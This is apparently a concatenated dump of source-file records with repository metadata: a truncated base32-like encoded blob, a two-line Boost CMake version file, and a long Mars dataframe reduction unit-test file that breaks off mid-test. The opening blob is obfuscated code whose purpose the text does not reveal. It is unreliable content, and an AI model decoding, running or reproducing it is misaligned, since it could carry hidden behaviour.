TSN5ZDUIDQOJUW45BAE5ODAMZTLMYTWOJRNVNT6XJALQYDGM23GE5TSMTNJFCFYMBTGNNTCOZZGJWSAIBAEAQCAIBAEAQCAIB2EBODAMZTLMYTWOJRNVHG65BAMZXXK3TEE4GQUCIJBF2HE6J2BUFASCIJBFYHE2LOOQQCOXBQGMZVWMJ3HEYW2W7CTCDF2IC4GAZTGWZRHM4TE3KFNVQWS3C4GAZTGWZRHM4TO3JAEAQCAIBAEAQCAORAE4VXUWZHMVWWC2LME5OQ2CQJBEEWK6DDMVYHIICLMV4UK4TSN5ZDUIDQOJUW45BAE5ODAMZTLMYTWOJRNVNT6XJALQYDGM23GE5TSMTNIVWWC2LMLQYDGM23GE5TSNTNEAQCAIBAEAQCAIB2EBODAMZTLMYTWOJRNVHG65BAMZXXK3TEE4GQUCIJBF2HE6J2BUFASCIJBFYHE2LOOQQCOXBQGMZVWMJ3HEYW2W7CTCDF2IC4GAZTGWZRHM4TE3KUMVWGK4DIN5XGKXBQGMZVWMJ3HE2W2IBAEAQCAORAE4VXUWZHNVXWE2LMMVPXA2DPNZSSOXINBIEQSCLFPBRWK4DUEBFWK6KFOJZG64R2EBYHE2LOOQQCOXBQGMZVWMJ3HEYW2WZ7LUQFYMBTGNNTCOZZGJWVIZLMMVYGQ33OMVODAMZTLMYTWOJXNUQCAIBAEA5CAXBQGMZVWMJ3H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0
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e04815be864a49757010ca08b851bcb70f3c2a9f
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|
py
|
Python
|
boost/tools/build/CMake/docs/source/boost_cmake_version.py
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | 2
|
2021-08-07T16:21:29.000Z
|
2021-11-17T10:58:37.000Z
|
boost/tools/build/CMake/docs/source/boost_cmake_version.py
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | null | null | null |
boost/tools/build/CMake/docs/source/boost_cmake_version.py
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | null | null | null |
version = "1.52.0"
release = "1.52.0.cmake0"
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0
| 7
|
e05bf1713d3c8d3e961e19ad89bd16e60bb8d814
| 32,720
|
py
|
Python
|
mars/dataframe/reduction/tests/test_reduction.py
|
timgates42/mars
|
bfa3a7d7d8f100b495581c8bab2143c8f261a7f1
|
[
"Apache-2.0"
] | null | null | null |
mars/dataframe/reduction/tests/test_reduction.py
|
timgates42/mars
|
bfa3a7d7d8f100b495581c8bab2143c8f261a7f1
|
[
"Apache-2.0"
] | null | null | null |
mars/dataframe/reduction/tests/test_reduction.py
|
timgates42/mars
|
bfa3a7d7d8f100b495581c8bab2143c8f261a7f1
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 1999-2020 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import functools
import operator
import unittest
from functools import reduce
import pandas as pd
import numpy as np
from mars import opcodes as OperandDef, dataframe as md
from mars.operands import OperandStage
from mars.tests.core import TestBase, parameterized
from mars.tensor import Tensor
from mars.dataframe.core import DataFrame, IndexValue, Series, OutputType
from mars.dataframe.reduction import DataFrameSum, DataFrameProd, DataFrameMin, \
DataFrameMax, DataFrameCount, DataFrameMean, DataFrameVar, DataFrameAll, \
DataFrameAny, DataFrameSkew, DataFrameKurtosis, DataFrameSem, \
DataFrameAggregate, DataFrameCummin, DataFrameCummax, DataFrameCumprod, \
DataFrameCumsum, DataFrameNunique, CustomReduction
from mars.dataframe.reduction.aggregation import where_function
from mars.dataframe.reduction.core import ReductionCompiler
from mars.dataframe.merge import DataFrameConcat
from mars.dataframe.datasource.series import from_pandas as from_pandas_series
from mars.dataframe.datasource.dataframe import from_pandas as from_pandas_df
reduction_functions = dict(
sum=dict(func_name='sum', op=DataFrameSum),
prod=dict(func_name='prod', op=DataFrameProd),
min=dict(func_name='min', op=DataFrameMin),
max=dict(func_name='max', op=DataFrameMax),
count=dict(func_name='count', op=DataFrameCount, has_skipna=False),
mean=dict(func_name='mean', op=DataFrameMean),
var=dict(func_name='var', op=DataFrameVar),
skew=dict(func_name='skew', op=DataFrameSkew),
kurt=dict(func_name='kurt', op=DataFrameKurtosis),
sem=dict(func_name='sem', op=DataFrameSem),
all=dict(func_name='all', op=DataFrameAll, has_numeric_only=False, has_bool_only=True),
any=dict(func_name='any', op=DataFrameAny, has_numeric_only=False, has_bool_only=True),
)
@parameterized(defaults=dict(has_skipna=True, has_numeric_only=True, has_bool_only=False),
**reduction_functions)
class TestReduction(TestBase):
@property
def op_name(self):
return getattr(OperandDef, self.func_name.upper())
def testSeriesReductionSerialize(self):
data = pd.Series(np.random.rand(10), name='a')
if self.has_skipna:
kwargs = dict(axis='index', skipna=False)
else:
kwargs = dict()
reduction_df = getattr(from_pandas_series(data, chunk_size=3), self.func_name)(**kwargs).tiles()
# pb
chunk = reduction_df.chunks[0]
serials = self._pb_serial(chunk)
op, pb = serials[chunk.op, chunk.data]
self.assertEqual(tuple(pb.index), chunk.index)
self.assertEqual(pb.key, chunk.key)
self.assertEqual(tuple(pb.shape), chunk.shape)
self.assertEqual(int(op.type.split('.', 1)[1]), DataFrameAggregate._op_type_)
chunk2 = self._pb_deserial(serials)[chunk.data]
self.assertEqual(chunk.index, chunk2.index)
self.assertEqual(chunk.key, chunk2.key)
self.assertEqual(chunk.shape, chunk2.shape)
self.assertEqual(chunk.op.agg_funcs[0].kwds.get('skipna'),
chunk2.op.agg_funcs[0].kwds.get('skipna'))
self.assertEqual(chunk.op.axis, chunk2.op.axis)
# json
chunk = reduction_df.chunks[0]
serials = self._json_serial(chunk)
chunk2 = self._json_deserial(serials)[chunk.data]
self.assertEqual(chunk.index, chunk2.index)
self.assertEqual(chunk.key, chunk2.key)
self.assertEqual(chunk.shape, chunk2.shape)
self.assertEqual(chunk.op.agg_funcs[0].kwds.get('skipna'),
chunk2.op.agg_funcs[0].kwds.get('skipna'))
self.assertEqual(chunk.op.axis, chunk2.op.axis)
def testSeriesReduction(self):
data = pd.Series(range(20), index=[str(i) for i in range(20)])
series = getattr(from_pandas_series(data, chunk_size=3), self.func_name)()
self.assertIsInstance(series, Tensor)
self.assertIsInstance(series.op, self.op)
self.assertEqual(series.shape, ())
series = series.tiles()
self.assertEqual(len(series.chunks), 1)
self.assertIsInstance(series.chunks[0].op, DataFrameAggregate)
self.assertIsInstance(series.chunks[0].inputs[0].op, DataFrameConcat)
self.assertEqual(len(series.chunks[0].inputs[0].inputs), 2)
data = pd.Series(np.random.rand(25), name='a')
if self.has_skipna:
kwargs = dict(axis='index', skipna=False)
else:
kwargs = dict()
series = getattr(from_pandas_series(data, chunk_size=7), self.func_name)(**kwargs)
self.assertIsInstance(series, Tensor)
self.assertEqual(series.shape, ())
series = series.tiles()
self.assertEqual(len(series.chunks), 1)
self.assertIsInstance(series.chunks[0].op, DataFrameAggregate)
self.assertIsInstance(series.chunks[0].inputs[0].op, DataFrameConcat)
self.assertEqual(len(series.chunks[0].inputs[0].inputs), 4)
def testDataFrameReductionSerialize(self):
data = pd.DataFrame(np.random.rand(10, 8), columns=[np.random.bytes(10) for _ in range(8)])
kwargs = dict(axis='index')
if self.has_skipna:
kwargs['skipna'] = False
if self.has_numeric_only:
kwargs['numeric_only'] = True
if self.has_bool_only:
kwargs['bool_only'] = True
reduction_df = getattr(from_pandas_df(data, chunk_size=3), self.func_name)(**kwargs).tiles()
# pb
chunk = reduction_df.chunks[0]
serials = self._pb_serial(chunk)
chunk_op, chunk_pb = serials[chunk.op, chunk.data]
self.assertEqual(tuple(chunk_pb.index), chunk.index)
self.assertEqual(chunk_pb.key, chunk.key)
self.assertEqual(tuple(chunk_pb.shape), chunk.shape)
self.assertEqual(int(chunk_op.type.split('.', 1)[1]), DataFrameAggregate._op_type_)
chunk2 = self._pb_deserial(serials)[chunk.data]
self.assertEqual(chunk.index, chunk2.index)
self.assertEqual(chunk.key, chunk2.key)
self.assertEqual(chunk.shape, chunk2.shape)
self.assertEqual(chunk.op.agg_funcs[0].kwds.get('skipna'),
chunk2.op.agg_funcs[0].kwds.get('skipna'))
self.assertEqual(chunk.op.axis, chunk2.op.axis)
self.assertEqual(chunk.op.numeric_only, chunk2.op.numeric_only)
self.assertEqual(chunk.op.bool_only, chunk2.op.bool_only)
pd.testing.assert_index_equal(chunk2.index_value.to_pandas(), chunk.index_value.to_pandas())
# json
chunk = reduction_df.chunks[0]
serials = self._json_serial(chunk)
chunk2 = self._json_deserial(serials)[chunk.data]
self.assertEqual(chunk.index, chunk2.index)
self.assertEqual(chunk.key, chunk2.key)
self.assertEqual(chunk.shape, chunk2.shape)
self.assertEqual(chunk.op.agg_funcs[0].kwds.get('skipna'),
chunk2.op.agg_funcs[0].kwds.get('skipna'))
self.assertEqual(chunk.op.axis, chunk2.op.axis)
self.assertEqual(chunk.op.numeric_only, chunk2.op.numeric_only)
self.assertEqual(chunk.op.bool_only, chunk2.op.bool_only)
pd.testing.assert_index_equal(chunk2.index_value.to_pandas(), chunk.index_value.to_pandas())
def testDataFrameReduction(self):
data = pd.DataFrame({'a': list(range(20)), 'b': list(range(20, 0, -1))},
index=[str(i) for i in range(20)])
reduction_df = getattr(from_pandas_df(data, chunk_size=3), self.func_name)()
self.assertIsInstance(reduction_df, Series)
self.assertIsInstance(reduction_df.op, self.op)
self.assertIsInstance(reduction_df.index_value._index_value, IndexValue.Index)
self.assertEqual(reduction_df.shape, (2,))
reduction_df = reduction_df.tiles()
self.assertEqual(len(reduction_df.chunks), 1)
self.assertIsInstance(reduction_df.chunks[0].op, DataFrameAggregate)
self.assertIsInstance(reduction_df.chunks[0].inputs[0].op, DataFrameConcat)
self.assertEqual(len(reduction_df.chunks[0].inputs[0].inputs), 2)
data = pd.DataFrame(np.random.rand(20, 10))
reduction_df = getattr(from_pandas_df(data, chunk_size=3), self.func_name)()
self.assertIsInstance(reduction_df, Series)
self.assertIsInstance(reduction_df.index_value._index_value, IndexValue.RangeIndex)
self.assertEqual(reduction_df.shape, (10,))
reduction_df = reduction_df.tiles()
self.assertEqual(len(reduction_df.chunks), 4)
self.assertEqual(reduction_df.nsplits, ((3, 3, 3, 1),))
self.assertIsInstance(reduction_df.chunks[0].op, DataFrameAggregate)
self.assertIsInstance(reduction_df.chunks[0].inputs[0].op, DataFrameConcat)
self.assertEqual(len(reduction_df.chunks[0].inputs[0].inputs), 2)
data = pd.DataFrame(np.random.rand(20, 20), index=[str(i) for i in range(20)])
reduction_df = getattr(from_pandas_df(data, chunk_size=4), self.func_name)(axis='columns')
self.assertEqual(reduction_df.shape, (20,))
reduction_df = reduction_df.tiles()
self.assertEqual(len(reduction_df.chunks), 5)
self.assertEqual(reduction_df.nsplits, ((4,) * 5,))
self.assertIsInstance(reduction_df.chunks[0].op, DataFrameAggregate)
self.assertIsInstance(reduction_df.chunks[0].inputs[0].op, DataFrameConcat)
self.assertEqual(len(reduction_df.chunks[0].inputs[0].inputs), 2)
with self.assertRaises(NotImplementedError):
getattr(from_pandas_df(data, chunk_size=3), self.func_name)(level=0, axis=1)
cum_reduction_functions = dict(
cummin=dict(func_name='cummin', op=DataFrameCummin, has_skipna=True),
cummax=dict(func_name='cummax', op=DataFrameCummax, has_skipna=True),
cumprod=dict(func_name='cumprod', op=DataFrameCumprod, has_skipna=True),
cumsum=dict(func_name='cumsum', op=DataFrameCumsum, has_skipna=True),
)
@parameterized(**cum_reduction_functions)
class TestCumReduction(TestBase):
@property
def op_name(self):
return getattr(OperandDef, self.func_name.upper())
def testSeriesReductionSerialize(self):
data = pd.Series(np.random.rand(10), name='a')
if self.has_skipna:
kwargs = dict(axis='index', skipna=False)
else:
kwargs = dict()
reduction_df = getattr(from_pandas_series(data), self.func_name)(**kwargs).tiles()
# pb
chunk = reduction_df.chunks[0]
serials = self._pb_serial(chunk)
op, pb = serials[chunk.op, chunk.data]
self.assertEqual(tuple(pb.index), chunk.index)
self.assertEqual(pb.key, chunk.key)
self.assertEqual(tuple(pb.shape), chunk.shape)
self.assertEqual(int(op.type.split('.', 1)[1]), self.op_name)
chunk2 = self._pb_deserial(serials)[chunk.data]
self.assertEqual(chunk.index, chunk2.index)
self.assertEqual(chunk.key, chunk2.key)
self.assertEqual(chunk.shape, chunk2.shape)
self.assertEqual(chunk.op.skipna, chunk2.op.skipna)
self.assertEqual(chunk.op.axis, chunk2.op.axis)
pd.testing.assert_index_equal(chunk.index_value.to_pandas(), chunk2.index_value.to_pandas())
# json
chunk = reduction_df.chunks[0]
serials = self._json_serial(chunk)
chunk2 = self._json_deserial(serials)[chunk.data]
self.assertEqual(chunk.index, chunk2.index)
self.assertEqual(chunk.key, chunk2.key)
self.assertEqual(chunk.shape, chunk2.shape)
self.assertEqual(chunk.op.skipna, chunk2.op.skipna)
self.assertEqual(chunk.op.axis, chunk2.op.axis)
pd.testing.assert_index_equal(chunk.index_value.to_pandas(), chunk2.index_value.to_pandas())
def testSeriesReduction(self):
data = pd.Series({'a': list(range(20))}, index=[str(i) for i in range(20)])
series = getattr(from_pandas_series(data, chunk_size=3), self.func_name)()
self.assertIsInstance(series, Series)
self.assertEqual(series.shape, (20,))
series = series.tiles()
self.assertEqual(len(series.chunks), 7)
self.assertIsInstance(series.chunks[0].op, self.op)
self.assertEqual(series.chunks[0].op.stage, OperandStage.combine)
self.assertIsInstance(series.chunks[-1].inputs[-1].op, self.op)
self.assertEqual(series.chunks[-1].inputs[-1].op.stage, OperandStage.map)
self.assertEqual(len(series.chunks[-1].inputs), 7)
data = pd.Series(np.random.rand(25), name='a')
if self.has_skipna:
kwargs = dict(axis='index', skipna=False)
else:
kwargs = dict()
series = getattr(from_pandas_series(data, chunk_size=7), self.func_name)(**kwargs)
self.assertIsInstance(series, Series)
self.assertEqual(series.shape, (25,))
series = series.tiles()
self.assertEqual(len(series.chunks), 4)
self.assertIsInstance(series.chunks[0].op, self.op)
self.assertEqual(series.chunks[0].op.stage, OperandStage.combine)
self.assertIsInstance(series.chunks[-1].inputs[-1].op, self.op)
self.assertEqual(series.chunks[-1].inputs[-1].op.stage, OperandStage.map)
self.assertEqual(len(series.chunks[-1].inputs), 4)
def testDataFrameReductionSerialize(self):
data = pd.DataFrame(np.random.rand(10, 8), columns=[np.random.bytes(10) for _ in range(8)])
kwargs = dict(axis='index')
if self.has_skipna:
kwargs['skipna'] = False
reduction_df = getattr(from_pandas_df(data, chunk_size=3), self.func_name)(**kwargs).tiles()
# pb
chunk = reduction_df.chunks[0]
serials = self._pb_serial(chunk)
op, pb = serials[chunk.op, chunk.data]
self.assertEqual(tuple(pb.index), chunk.index)
self.assertEqual(pb.key, chunk.key)
self.assertEqual(tuple(pb.shape), chunk.shape)
self.assertEqual(int(op.type.split('.', 1)[1]), self.op_name)
chunk2 = self._pb_deserial(serials)[chunk.data]
self.assertEqual(chunk.index, chunk2.index)
self.assertEqual(chunk.key, chunk2.key)
self.assertEqual(chunk.shape, chunk2.shape)
self.assertEqual(chunk.op.skipna, chunk2.op.skipna)
self.assertEqual(chunk.op.axis, chunk2.op.axis)
pd.testing.assert_index_equal(chunk2.columns_value.to_pandas(), chunk.columns_value.to_pandas())
pd.testing.assert_index_equal(chunk2.index_value.to_pandas(), chunk.index_value.to_pandas())
# json
chunk = reduction_df.chunks[0]
serials = self._json_serial(chunk)
chunk2 = self._json_deserial(serials)[chunk.data]
self.assertEqual(chunk.index, chunk2.index)
self.assertEqual(chunk.key, chunk2.key)
self.assertEqual(chunk.shape, chunk2.shape)
self.assertEqual(chunk.op.skipna, chunk2.op.skipna)
self.assertEqual(chunk.op.axis, chunk2.op.axis)
pd.testing.assert_index_equal(chunk2.columns_value.to_pandas(), chunk.columns_value.to_pandas())
pd.testing.assert_index_equal(chunk2.index_value.to_pandas(), chunk.index_value.to_pandas())
def testDataFrameReduction(self):
data = pd.DataFrame({'a': list(range(20)), 'b': list(range(20, 0, -1))},
index=[str(i) for i in range(20)])
reduction_df = getattr(from_pandas_df(data, chunk_size=3), self.func_name)()
self.assertIsInstance(reduction_df, DataFrame)
self.assertIsInstance(reduction_df.index_value._index_value, IndexValue.Index)
self.assertEqual(reduction_df.shape, (20, 2))
reduction_df = reduction_df.tiles()
self.assertEqual(len(reduction_df.chunks), 7)
self.assertIsInstance(reduction_df.chunks[0].op, self.op)
self.assertEqual(reduction_df.chunks[0].op.stage, OperandStage.combine)
self.assertIsInstance(reduction_df.chunks[-1].inputs[-1].op, self.op)
self.assertEqual(reduction_df.chunks[-1].inputs[-1].op.stage, OperandStage.map)
self.assertEqual(len(reduction_df.chunks[-1].inputs), 7)
data = pd.DataFrame(np.random.rand(20, 10))
reduction_df = getattr(from_pandas_df(data, chunk_size=3), self.func_name)()
self.assertIsInstance(reduction_df, DataFrame)
self.assertIsInstance(reduction_df.index_value._index_value, IndexValue.RangeIndex)
self.assertEqual(reduction_df.shape, (20, 10))
reduction_df = reduction_df.tiles()
self.assertEqual(len(reduction_df.chunks), 28)
self.assertEqual(reduction_df.nsplits, ((3, 3, 3, 3, 3, 3, 2), (3, 3, 3, 1)))
self.assertEqual(reduction_df.chunks[0].op.stage, OperandStage.combine)
self.assertIsInstance(reduction_df.chunks[-1].inputs[-1].op, self.op)
self.assertEqual(reduction_df.chunks[-1].inputs[-1].op.stage, OperandStage.map)
self.assertEqual(len(reduction_df.chunks[-1].inputs), 7)
class TestNUnique(TestBase):
def testNunique(self):
data = pd.DataFrame(np.random.randint(0, 6, size=(20, 10)),
columns=['c' + str(i) for i in range(10)])
df = from_pandas_df(data, chunk_size=3)
result = df.nunique()
self.assertEqual(result.shape, (10,))
self.assertEqual(result.op.output_types[0], OutputType.series)
self.assertIsInstance(result.op, DataFrameNunique)
tiled = result.tiles()
self.assertEqual(tiled.shape, (10,))
self.assertEqual(len(tiled.chunks), 4)
self.assertEqual(tiled.nsplits, ((3, 3, 3, 1,),))
self.assertEqual(tiled.chunks[0].op.stage, OperandStage.agg)
self.assertIsInstance(tiled.chunks[0].op, DataFrameAggregate)
data2 = data.copy()
df2 = from_pandas_df(data2, chunk_size=3)
result2 = df2.nunique(axis=1)
self.assertEqual(result2.shape, (20,))
self.assertEqual(result2.op.output_types[0], OutputType.series)
self.assertIsInstance(result2.op, DataFrameNunique)
tiled = result2.tiles()
self.assertEqual(tiled.shape, (20,))
self.assertEqual(len(tiled.chunks), 7)
self.assertEqual(tiled.nsplits, ((3, 3, 3, 3, 3, 3, 2,),))
self.assertEqual(tiled.chunks[0].op.stage, OperandStage.agg)
self.assertIsInstance(tiled.chunks[0].op, DataFrameAggregate)
class TestAggregate(TestBase):
def testDataFrameAggregate(self):
data = pd.DataFrame(np.random.rand(20, 19))
agg_funcs = ['sum', 'min', 'max', 'mean', 'var', 'std', 'all', 'any',
'skew', 'kurt', 'sem']
df = from_pandas_df(data)
result = df.agg(agg_funcs).tiles()
self.assertEqual(len(result.chunks), 1)
self.assertEqual(result.shape, (len(agg_funcs), data.shape[1]))
self.assertListEqual(list(result.columns_value.to_pandas()), list(range(19)))
self.assertListEqual(list(result.index_value.to_pandas()), agg_funcs)
self.assertEqual(result.op.output_types[0], OutputType.dataframe)
self.assertListEqual(result.op.func, agg_funcs)
df = from_pandas_df(data, chunk_size=(3, 4))
result = df.agg('sum').tiles()
self.assertEqual(len(result.chunks), 5)
self.assertEqual(result.shape, (data.shape[1],))
self.assertListEqual(list(result.index_value.to_pandas()), list(range(data.shape[1])))
self.assertEqual(result.op.output_types[0], OutputType.series)
self.assertListEqual(result.op.func, ['sum'])
agg_chunk = result.chunks[0]
self.assertEqual(agg_chunk.shape, (4,))
self.assertListEqual(list(agg_chunk.index_value.to_pandas()), list(range(4)))
self.assertEqual(agg_chunk.op.stage, OperandStage.agg)
result = df.agg('sum', axis=1).tiles()
self.assertEqual(len(result.chunks), 7)
self.assertEqual(result.shape, (data.shape[0],))
self.assertListEqual(list(result.index_value.to_pandas()), list(range(data.shape[0])))
self.assertEqual(result.op.output_types[0], OutputType.series)
agg_chunk = result.chunks[0]
self.assertEqual(agg_chunk.shape, (3,))
self.assertListEqual(list(agg_chunk.index_value.to_pandas()), list(range(3)))
self.assertEqual(agg_chunk.op.stage, OperandStage.agg)
result = df.agg('var', axis=1).tiles()
self.assertEqual(len(result.chunks), 7)
self.assertEqual(result.shape, (data.shape[0],))
self.assertListEqual(list(result.index_value.to_pandas()), list(range(data.shape[0])))
self.assertEqual(result.op.output_types[0], OutputType.series)
self.assertListEqual(result.op.func, ['var'])
agg_chunk = result.chunks[0]
self.assertEqual(agg_chunk.shape, (3,))
self.assertListEqual(list(agg_chunk.index_value.to_pandas()), list(range(3)))
self.assertEqual(agg_chunk.op.stage, OperandStage.agg)
result = df.agg(agg_funcs).tiles()
self.assertEqual(len(result.chunks), 5)
self.assertEqual(result.shape, (len(agg_funcs), data.shape[1]))
self.assertListEqual(list(result.columns_value.to_pandas()), list(range(data.shape[1])))
self.assertListEqual(list(result.index_value.to_pandas()), agg_funcs)
self.assertEqual(result.op.output_types[0], OutputType.dataframe)
self.assertListEqual(result.op.func, agg_funcs)
agg_chunk = result.chunks[0]
self.assertEqual(agg_chunk.shape, (len(agg_funcs), 4))
self.assertListEqual(list(agg_chunk.columns_value.to_pandas()), list(range(4)))
self.assertListEqual(list(agg_chunk.index_value.to_pandas()), agg_funcs)
self.assertEqual(agg_chunk.op.stage, OperandStage.agg)
result = df.agg(agg_funcs, axis=1).tiles()
self.assertEqual(len(result.chunks), 7)
self.assertEqual(result.shape, (data.shape[0], len(agg_funcs)))
self.assertListEqual(list(result.columns_value.to_pandas()), agg_funcs)
self.assertListEqual(list(result.index_value.to_pandas()), list(range(data.shape[0])))
self.assertEqual(result.op.output_types[0], OutputType.dataframe)
self.assertListEqual(result.op.func, agg_funcs)
agg_chunk = result.chunks[0]
self.assertEqual(agg_chunk.shape, (3, len(agg_funcs)))
self.assertListEqual(list(agg_chunk.columns_value.to_pandas()), agg_funcs)
self.assertListEqual(list(agg_chunk.index_value.to_pandas()), list(range(3)))
self.assertEqual(agg_chunk.op.stage, OperandStage.agg)
dict_fun = {0: 'sum', 2: ['var', 'max'], 9: ['mean', 'var', 'std']}
all_cols = set(reduce(operator.add, [[v] if isinstance(v, str) else v for v in dict_fun.values()]))
result = df.agg(dict_fun).tiles()
self.assertEqual(len(result.chunks), 2)
self.assertEqual(result.shape, (len(all_cols), len(dict_fun)))
self.assertSetEqual(set(result.columns_value.to_pandas()), set(dict_fun.keys()))
self.assertSetEqual(set(result.index_value.to_pandas()), all_cols)
self.assertEqual(result.op.output_types[0], OutputType.dataframe)
self.assertListEqual(result.op.func[0], [dict_fun[0]])
self.assertListEqual(result.op.func[2], dict_fun[2])
agg_chunk = result.chunks[0]
self.assertEqual(agg_chunk.shape, (len(all_cols), 2))
self.assertListEqual(list(agg_chunk.columns_value.to_pandas()), [0, 2])
self.assertSetEqual(set(agg_chunk.index_value.to_pandas()), all_cols)
self.assertEqual(agg_chunk.op.stage, OperandStage.agg)
with self.assertRaises(TypeError):
df.agg(sum_0='sum', mean_0='mean')
with self.assertRaises(NotImplementedError):
df.agg({0: ['sum', 'min', 'var'], 9: ['mean', 'var', 'std']}, axis=1)
def testSeriesAggregate(self):
data = pd.Series(np.random.rand(20), index=[str(i) for i in range(20)], name='a')
agg_funcs = ['sum', 'min', 'max', 'mean', 'var', 'std', 'all', 'any',
'skew', 'kurt', 'sem']
series = from_pandas_series(data)
result = series.agg(agg_funcs).tiles()
self.assertEqual(len(result.chunks), 1)
self.assertEqual(result.shape, (len(agg_funcs),))
self.assertListEqual(list(result.index_value.to_pandas()), agg_funcs)
self.assertEqual(result.op.output_types[0], OutputType.series)
self.assertListEqual(result.op.func, agg_funcs)
series = from_pandas_series(data, chunk_size=3)
result = series.agg('sum').tiles()
self.assertEqual(len(result.chunks), 1)
self.assertEqual(result.shape, ())
self.assertEqual(result.op.output_types[0], OutputType.scalar)
agg_chunk = result.chunks[0]
self.assertEqual(agg_chunk.shape, ())
self.assertEqual(agg_chunk.op.stage, OperandStage.agg)
result = series.agg(agg_funcs).tiles()
self.assertEqual(len(result.chunks), 1)
self.assertEqual(result.shape, (len(agg_funcs),))
self.assertListEqual(list(result.index_value.to_pandas()), agg_funcs)
self.assertEqual(result.op.output_types[0], OutputType.series)
self.assertListEqual(result.op.func, agg_funcs)
agg_chunk = result.chunks[0]
self.assertEqual(agg_chunk.shape, (len(agg_funcs),))
self.assertListEqual(list(agg_chunk.index_value.to_pandas()), agg_funcs)
self.assertEqual(agg_chunk.op.stage, OperandStage.agg)
with self.assertRaises(TypeError):
series.agg(sum_0=(0, 'sum'), mean_0=(0, 'mean'))
class TestReductionCompiler(TestBase):
def testCompileFunction(self):
compiler = ReductionCompiler()
ms = md.Series([1, 2, 3])
# no Mars objects inside closures
with self.assertRaises(ValueError):
compiler.add_function(functools.partial(lambda x: (x + ms).sum()), ndim=2)
# function should return a Mars object
with self.assertRaises(ValueError):
compiler.add_function(lambda x: x is not None, ndim=2)
# function should perform some sort of reduction in dimensionality
with self.assertRaises(ValueError):
compiler.add_function(lambda x: x, ndim=2)
# function should only contain acceptable operands
with self.assertRaises(ValueError):
compiler.add_function(lambda x: x.sort_values().max(), ndim=1)
with self.assertRaises(ValueError):
compiler.add_function(lambda x: x.max().shift(1), ndim=2)
# test agg for all data
for ndim in [1, 2]:
compiler = ReductionCompiler(store_source=True)
compiler.add_function(lambda x: (x ** 2).count() + 1, ndim=ndim)
result = compiler.compile()
# check pre_funcs
self.assertEqual(len(result.pre_funcs), 1)
self.assertIn('pow', result.pre_funcs[0].func.__source__)
# check agg_funcs
self.assertEqual(len(result.agg_funcs), 1)
self.assertEqual(result.agg_funcs[0].map_func_name, 'count')
self.assertEqual(result.agg_funcs[0].agg_func_name, 'sum')
# check post_funcs
self.assertEqual(len(result.post_funcs), 1)
self.assertEqual(result.post_funcs[0].func_name, '<lambda_0>')
self.assertIn('add', result.post_funcs[0].func.__source__)
compiler.add_function(lambda x: -x.prod() ** 2 + (1 + (x ** 2).count()), ndim=ndim)
result = compiler.compile()
# check pre_funcs
self.assertEqual(len(result.pre_funcs), 2)
self.assertTrue('pow' in result.pre_funcs[0].func.__source__
or 'pow' in result.pre_funcs[1].func.__source__)
self.assertTrue('pow' not in result.pre_funcs[0].func.__source__
or 'pow' not in result.pre_funcs[1].func.__source__)
# check agg_funcs
self.assertEqual(len(result.agg_funcs), 2)
self.assertSetEqual(set(result.agg_funcs[i].map_func_name for i in range(2)),
{'count', 'prod'})
self.assertSetEqual(set(result.agg_funcs[i].agg_func_name for i in range(2)),
{'sum', 'prod'})
# check post_funcs
self.assertEqual(len(result.post_funcs), 2)
self.assertEqual(result.post_funcs[0].func_name, '<lambda_0>')
self.assertIn('add', result.post_funcs[0].func.__source__)
self.assertIn('add', result.post_funcs[1].func.__source__)
compiler = ReductionCompiler(store_source=True)
compiler.add_function(lambda x: where_function(x.all(), x.count(), 0), ndim=ndim)
result = compiler.compile()
# check pre_funcs
self.assertEqual(len(result.pre_funcs), 1)
self.assertEqual(result.pre_funcs[0].input_key, result.pre_funcs[0].output_key)
# check agg_funcs
self.assertEqual(len(result.agg_funcs), 2)
self.assertSetEqual(set(result.agg_funcs[i].map_func_name for i in range(2)),
{'all', 'count'})
self.assertSetEqual(set(result.agg_funcs[i].agg_func_name for i in range(2)),
{'sum', 'all'})
# check post_funcs
self.assertEqual(len(result.post_funcs), 1)
if ndim == 1:
self.assertIn('np.where', result.post_funcs[0].func.__source__)
else:
self.assertNotIn('np.where', result.post_funcs[0].func.__source__)
self.assertIn('.where', result.post_funcs[0].func.__source__)
# test agg for specific columns
compiler = ReductionCompiler(store_source=True)
compiler.add_function(lambda x: 1 + x.sum(), ndim=2, cols=['a', 'b'])
compiler.add_function(lambda x: -1 + x.sum(), ndim=2, cols=['b', 'c'])
result = compiler.compile()
# check pre_funcs
self.assertEqual(len(result.pre_funcs), 1)
self.assertSetEqual(set(result.pre_funcs[0].columns), set('abc'))
# check agg_funcs
self.assertEqual(len(result.agg_funcs), 1)
self.assertEqual(result.agg_funcs[0].map_func_name, 'sum')
self.assertEqual(result.agg_funcs[0].agg_func_name, 'sum')
# check post_funcs
self.assertEqual(len(result.post_funcs), 2)
self.assertSetEqual(set(''.join(sorted(result.post_funcs[i].columns)) for i in range(2)),
{'ab', 'bc'})
def testCustomAggregation(self):
class MockReduction1(CustomReduction):
def agg(self, v1):
return v1.sum()
class MockReduction2(CustomReduction):
def pre(self, value):
return value + 1, value ** 2
def agg(self, v1, v2):
return v1.sum(), v2.prod()
def post(self, v1, v2):
return v1 + v2
for ndim in [1, 2]:
compiler = ReductionCompiler()
compiler.add_function(MockReduction1(), ndim=ndim)
result = compiler.compile()
# check agg_funcs
self.assertEqual(len(result.agg_funcs), 1)
self.assertEqual(result.agg_funcs[0].map_func_name, 'custom_reduction')
self.assertEqual(result.agg_funcs[0].agg_func_name, 'custom_reduction')
self.assertIsInstance(result.agg_funcs[0].custom_reduction, MockReduction1)
self.assertEqual(result.agg_funcs[0].output_limit, 1)
compiler = ReductionCompiler()
compiler.add_function(MockReduction2(), ndim=ndim)
result = compiler.compile()
# check agg_funcs
self.assertEqual(len(result.agg_funcs), 1)
self.assertEqual(result.agg_funcs[0].map_func_name, 'custom_reduction')
